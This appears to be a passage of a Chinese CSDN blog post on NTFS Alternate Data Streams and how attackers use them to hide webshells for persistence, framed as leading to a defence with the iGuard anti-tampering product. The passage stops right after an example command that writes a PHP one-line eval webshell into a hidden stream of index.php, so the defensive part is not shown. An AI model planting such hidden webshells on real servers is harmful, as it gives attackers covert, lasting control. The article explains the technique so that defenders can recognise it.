运用iGuard防御ADS权限维持

本文介绍了ADS(Alternate Data Stream)特性及其在权限维持中的应用,详细讲解了如何利用ADS隐藏恶意文件,特别是在Webshell中的使用。同时,文章提出使用iGuard网页防篡改系统来防御ADS数据流隐藏的Webshell,通过限制特定用户对文件的修改权限来增强服务器安全性。
摘要由CSDN通过智能技术生成

权限维持是一门庞大的学问,当攻击者在入侵服务器获得主机权限后,往往会想尽办法隐藏其入侵途径以维持权限。权限维持的一般手段包括构造文件包含漏洞、构造远程任意代码执行漏洞、构造SQL注入点、利用系统自启动后门和隐藏 Webshell等。本文介绍如何利用ADS数据流隐藏Webshell,以及如何利用iGuard防御ADS。

一、NTFS文件系统 & ADS特性

1. NTFS/ADS 是什么?

NTFS(New Technology File System) 是微软公司开发的文件系统。自Windows NT 3.1开始,NTFS就是Windows NT系列操作系统的默认文件格式。Linux和BSD环境下也有免费和开源版的NTFS驱动——NTFS-3G。和老的FAT文件系统相比,其提供了对元数据(metadata)和高级数据的更多支持,在性能、可靠性和磁盘使用上也多有改进。在安全扩展方面,它对ACL名单和文件系统日志扩展支持也更全面。

NTFS引入了一个文件流的概念,即 ADS(Alternate Data Stream) 。尽管在未来的文件系统中可能不被支持,但在Windows NT系列未来版本的NTFS系统中,ADS将会继续得到支持。该机制最常见的使用场景是当微软Internet Explorer浏览器在下载一些对安全有隐患的敏感文件时,会自动给这些文件加上一个「Zone.Identifier」的ADS流,在里面记录该文件的下载来源。后续在系统执行这些文件时,如果发现有这个「Zone.Identifier」ADS流标记,就会询问用户,这是一个有安全隐患的文件,是否确认要执行。用户确认后,操作系统会彻底清除该文件的「Zone.Identifier」ADS流,后续不再出现警告提示。后来,其他浏览器也跟进了该特性。如下截图里,就显示了一个下载文件的ADS流标记,可以看出其下载来源:

pic

而默认使用Windows资源管理器浏览文件时,并不会显示文件的ADS流信息和大小。使用某些命令行工具或Powershell,配合特定的参数,能看到相关的信息(详见下文)。微软的Sysinternal工具套装里,提供了一款名为"Streams"的工具,专门用于查看和删除 ADS 流信息。

下载地址
https://docs.microsoft.com/zh-cn/sysinternals/downloads/streams

由于ADS流具有这种比较隐晦的特性,恶意软件和网页木马便盯上这一机制,并用这个机制隐藏恶意代码,逃避检测。

2. ADS 怎么用?

Windows NT Resource Kit文档中描述的ADS语法如下:

filename:stream

可以把ADS流理解为文件的一个额外属性,这个属性的名称就是上述定义里冒号后stream的部分,该名称可以自由选择。同时,一个文件可以对应多个不同名的ADS流属性,只要冒号后面的名称不一样。不同名称的ADS流拥有自己独立的内容。

如向一个网页文件(index.php)写入名为「th000.jpg」的ADS流(写入的内容实际上是PHP一句话木马):

echo ^<?php eval($_GET['test']); ?^>
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值